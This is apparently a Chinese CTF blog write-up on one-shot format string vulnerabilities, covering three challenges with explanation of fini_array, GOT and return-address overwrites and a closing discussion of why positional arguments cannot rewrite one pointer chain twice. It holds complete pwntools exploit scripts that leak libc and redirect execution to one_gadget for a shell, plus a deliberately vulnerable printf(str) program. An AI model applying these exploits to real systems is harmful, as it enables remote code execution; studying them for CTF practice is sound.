一次性格式化字符串

【2023 强网杯】ez_fmt

没开pie,开了 full Relro,改不了got和fini_array,也给了buf地址,栈上地址用偏移算

改printf_ret地址,绕过w==0xffff的限制,控制程序再次执行read 0x00401205 再次执行格式化字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#coding:utf-8
from pwn import *
from pwnlib.util.packing import p64, u64, p32, u32
#from ctypes import *
#from LibcSearcher import *

s = lambda data : io.send(data)
sa = lambda delim, data : io.sendafter(delim,data)
sl = lambda data : io.sendline(data)
sla = lambda delim, data : io.sendlineafter(delim, data)
r = lambda num=4096 : io.recv(num)
ru = lambda delims, drop=True : io.recvuntil(delims, drop)
itr = lambda : io.interactive()
r64 = lambda : io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')
r32 = lambda : io.recvuntil(b'\x7f')[-4:]
uu32 = lambda data : u32(data.ljust(4, b'\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))
leak = lambda name, value : info("{}:0x{:x}".format(name,value))

def debug(cmd=''):
gdb.attach(io,cmd)
pause()

def fmt(data1,data2): #payload = b'%' + str(data) + b'c' + padding + '%' + str(offset) + b'$hhn' + p64(adr)
padding1 = b''
padding2 = b''
data2 = data2-data1
payload1 = b'%' + str(data1) + b'c' + padding1 + '%10$hn'
if(len(payload1)<0x10):
padding1 += b'a' * (0x10-len(payload1))
data1 -= len(padding1)
payload1 = b'%' + str(data1) + b'c' + padding1 + '%10$hn'
if(len(payload1)<0x10):
padding1 += b'a' * (0x10-len(payload1))
payload1 = b'%' + str(data1) + b'c' + padding1 + '%10$hn'

payload2 = payload1 + b'%' + str(data2) + b'c' + padding2 + b'%11$hn'
print(payload2)
if(len(payload2)<0x20):
padding2 += b'a' * (0x20-len(payload2))
data2 -= len(padding2)
payload2 = payload1 + b'%' + str(data2) + b'c' + padding2 + b'%11$hn'
if(len(payload2)<0x20):
padding2 += b'a' * (0x20-len(payload2))
payload2 = payload1 + b'%' + str(data2) + b'c' + padding2 + b'%11$hn'
payload2 += p64(ret_addr) + p64(ret_addr+2)
return payload2

def pwn():
py1 = b'%4198917c%9$hn%19$paaaaa' + p64(printf_ret)
# debug()
s(py1)
ru(b'0x')
libc_base = int(r(12), 16) - libc.sym['__libc_start_main']-243
leak("libc_base" , libc_base)
one_gadget = libc_base + 0xe3b01
# debug()
py2 = fmt(one_gadget&0xffff,(one_gadget>>16)&0xffff)
s(py2)

if __name__ == '__main__' :
pwn_log_level = 'info'
pwn_arch = 'amd64'
pwn_os = 'linux'
context(log_level=pwn_log_level, arch=pwn_arch, os=pwn_os)
context.terminal = ['tmux','splitw','-h']
pwnfile = './ez_fmt'
io = process(pwnfile)
io = remote('47.104.24.40',1337)

elf = ELF(pwnfile)
rop = ROP(pwnfile)
context.binary = pwnfile
libc_name = './libc-2.31.so'
libc = ELF(libc_name)

fini_arry = 0x0403DC0
main = elf.sym['main']

ru(b'0x')
stack = int(r(12), 16)
ret_addr = stack + 0x68
printf_ret = stack - 0x8
leak("print_ret",printf_ret)
leak("ret_addr",ret_addr)
pwn()

itr()

fmt

自己出的练手题 没开RELRO,直接打fini_array绕过一次性格式化字符串

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
#include<stdio.h>

int init_func(){
setvbuf(stdin,0,2,0);
setvbuf(stdout,0,2,0);
setvbuf(stderr,0,2,0);
return 0;
}

void main(){
init_func();
char str[0x100];
printf("please input your payload:");
read(0, str, 0x100);
printf(str);
}

//gcc fmt.c -no-pie -z norelro -o fmt
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
#coding:utf-8
from pwn import *
from pwnlib.util.packing import p64, u64, p32, u32
#from ctypes import *
#from LibcSearcher import *
#from struct import pack

s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda delim, data : io.sendafter(delim,data)
sla = lambda delim, data : io.sendlineafter(delim, data)
r = lambda num=4096 : io.recv(num)
ru = lambda delims, drop=True : io.recvuntil(delims, drop)
itr = lambda : io.interactive()
r64 = lambda : io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')
r32 = lambda : io.recvuntil(b'\x7f')[-4:]
uu32 = lambda data : u32(data.ljust(4, b'\x00'))
uu64 = lambda data : u64(data.ljust(8, b'\x00'))
leak = lambda name, value : info("{}:0x{:x}".format(name,value))

def debug(cmd=''):
gdb.attach(io,cmd)
pause()

if __name__ == '__main__' :
pwn_log_level = 'info' #'info'
pwn_arch = 'amd64'
pwn_os = 'linux'
context(log_level=pwn_log_level, arch=pwn_arch, os=pwn_os)
context.terminal = ['tmux','splitw','-h']
pwnfile = './fmt'
#io = process(pwnfile)
io = remote('', )
elf = ELF(pwnfile)
rop = ROP(pwnfile)
libc_name = './libc.so.6'
libc = ELF(libc_name)

fini_arry = 0x0403198
main = 0x4011ff
printf_got = elf.got['printf']

payload = b'%41$p--%43$paaaa' + fmtstr_payload(8, {fini_arry : main}, numbwritten=34)
ru(b'payload:')
# debug()
io.sendline(payload)
ru(b'0x')
libc_base = int(r(12), 16) - 243 - libc.sym['__libc_start_main']
ru(b'0x')
stack = int(r(12), 16) - 0x2f0 #0xf0 -0xe0 - 0x120
leak("libc_base", libc_base)
leak("stack", stack)

one = 0xe3b01 + libc_base #0xe3b01 0xe3b04 0xe3cf6 0x1075aa 0x1075b2 0x1075b7 0x1075c1
payload = fmtstr_payload(6, {stack:one})
ru(b'payload:')
# debug()
s(payload)

itr()

【DASCTF X HDCTF 2024 公开赛】签个到吧

非栈上一次性格式化字符串

远程环境:2.31-0ubuntu9.15

image-20240607152900330

给了栈地址 以及0x100长度限制的格式化字符串

思路:改_exit_got为main地址同时泄露libc,然后再改exit_got为one_gadget,退出时执行one_gadget

如何修改got?

printf时的栈空间 利用rsp+8 处的连续指针 (fmtarg 看相对偏移括号里面的不用管)

image-20240607161107350

利用二连指针修改任意地址值

但是下面的payload并不能成功修改got地址 貌似使用%x$定位的话不能在同一条链子上改两次 (test>exit_got) 没有将0x401030改成功

1
2
payload1  = b'%' + str(exit_got).encode("utf-8") + b'c%7$ln'
payload1 += b'%' + str(test-exit_got).encode("utf-8") + b'c%49$ln'

image-20240607161549570

如果是修改不同链上则可以同时修改

1
2
payload1  = b'%' + str(main).encode("utf-8") + b'c%7$ln'
payload1 += b'%' + str(exit_got-main).encode("utf-8") + b'c%8$ln'

image-20240607163238561

直接使用格式化字符作为占位符的话可以在一条链子上改两次

1
2
payload1  = b'%' + str(exit_got-5).encode("utf-8") + b'c' + b'%c'*5 + b'%n'   #7
payload1 += b'%5c' + b'%c'*40 + b'%ln' #49

image-20240607165447235

这样思路就明确了,先利用二连指针的第一个指针修改第二个指针指向exit_got,然后利用第二个指针修改exit_got地址为main函数地址

由于%hn只将打印出来字符的低二字节修改内存,所以打印出来的字符长度溢出时就能修改低二字节为任意值了

1
2
payload1  = b'%' + str(exit_got-5).encode("utf-8") + b'c' + b'%c'*5 + b'%ln'   #7
payload1 += b'%' + str(0xd1fb).encode("utf-8") + b'c' + b'%c'*40 + b'%hn' #49

image-20240607171232992

然后栈上还残留的指向exit_got指针来修改成为one_gadget

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
#coding:utf-8
from pwn import *
from tw11ty import *
#from ctypes import *

if __name__ == '__main__' :
context.log_level = 'info'
IPort = 'node5.buuoj.cn 29958'
pwnfile = './pwn'
libc_name = '/ctf/work/glibc-all-in-one/libs/2.31-0ubuntu9.15_amd64/libc.so.6'
# libc_name = '/lib/x86_64-linux-gnu/libc.so.6'
elf = ELF(pwnfile)
rop = ROP(pwnfile)
libc = ELF(libc_name)

while(True):
io = init(pwnfile, IPort, libc_name)
exit_got = elf.got['_exit']
main = elf.sym['main']

ru(b'Gift addr: ')
stack = int(r(12), 16)
leak("stack", stack)

payload1 = b'%' + str(exit_got-5).encode("utf-8") + b'c' + b'%c'*5 + b'%ln' #7
payload1 += b'%' + str(0xd1fb).encode("utf-8") + b'c' + b'%c'*40 + b'%hn' #49
payload1 += b'-%17$p'

# debug('b *0x401366')
sla(b'Please leave your message: ', payload1)
ru(b'0x')
libc_base = int(r(12), 16) - 243 - libc.sym['__libc_start_main']
one_gadegt = [0xe3afe, 0xe3b01, 0xe3b04]
one = libc_base + one_gadegt[1]

ori = one&0xffff
ori1 = one>>16&0xffff
ori2 = one>>32&0xffff
ori3 = one&0xffffffff
leak("one_gadet", one)
print(hex(ori))
print(hex(ori1))
print(hex(ori2))

if(ori < ori1 or ori1 < ori2):
log.failure("ori is too low...")
io.close()
continue
else :
payload2 = b'%' + str(exit_got+2-35).encode("utf-8") + b'c' + b'%c'*35 + b'%ln\x00' #37
# payload2 = b'\x00'
sla(b'Please leave your message: ', payload2)
# debug('b *0x401366')

payload3 = b'%' + str(exit_got+4-14).encode("utf-8") + b'c' + b'%c'*14 + b'%ln\x00' #16
# payload3 = b'\x00'
# debug('b *0x401366')
sla(b'Please leave your message: ', payload3)

payload4 = b'%' + str(ori2-38).encode("utf-8") + b'c' + b'%c'*38 + b'%hn' #40-->4 7fxx 82-->2 xxxx 85-->0 xxxx
payload4 += b'%' + str(ori1-ori2-40).encode("utf-8") + b'c' + b'%c'*40 + b'%hn'
payload4 += b'%' + str(ori-ori1-1).encode("utf-8") + b'c' + b'%c' + b'%hn'
payload4 += b'\x00'

# debug('b *0x401366')
sla(b'Please leave your message: ', payload4)
print(payload4)
itr()

image-20240608160741823

总结:

  1. 一次性格式化除非是给了backdoor或者libc基地址,否则一次性是很难打通的,当然不排除一些奇奇怪怪的题目。基本上只给了一个一次性格式化利用的话,都需要构造出第二次利用,无论是改got、fini_array、printf_ret、ret_addr。
  2. 栈上格式化字符串直接写地址改数据,非栈上格式化字符串改指针间接改数据

一些思考

有群u在群里请教了为什么不能用$符号定位使用两次,然后在一条链子上改两次,我在上面的das签到题里面有了些自己的测试,不过还是不如群里的大佬理解得透彻。

自己整理了一下.N1nEmAn师傅所说的原理:打格式化字符串时,使用$符号作为索引,会将栈的上下文保存到堆上,第一次使用$符号修改目标能正常修改栈上数据,但是堆上的数据没有变,而下次再使用$符号作为索引,会到堆里面去进行修改,而不是在栈上直接修改。这就是为什么不能在同一条链子上改两次。后面也有WJH师傅贴出的博客,里面是WJH师傅对printf的源码分析。这就是与大佬们学习的差距吗,再接再厉!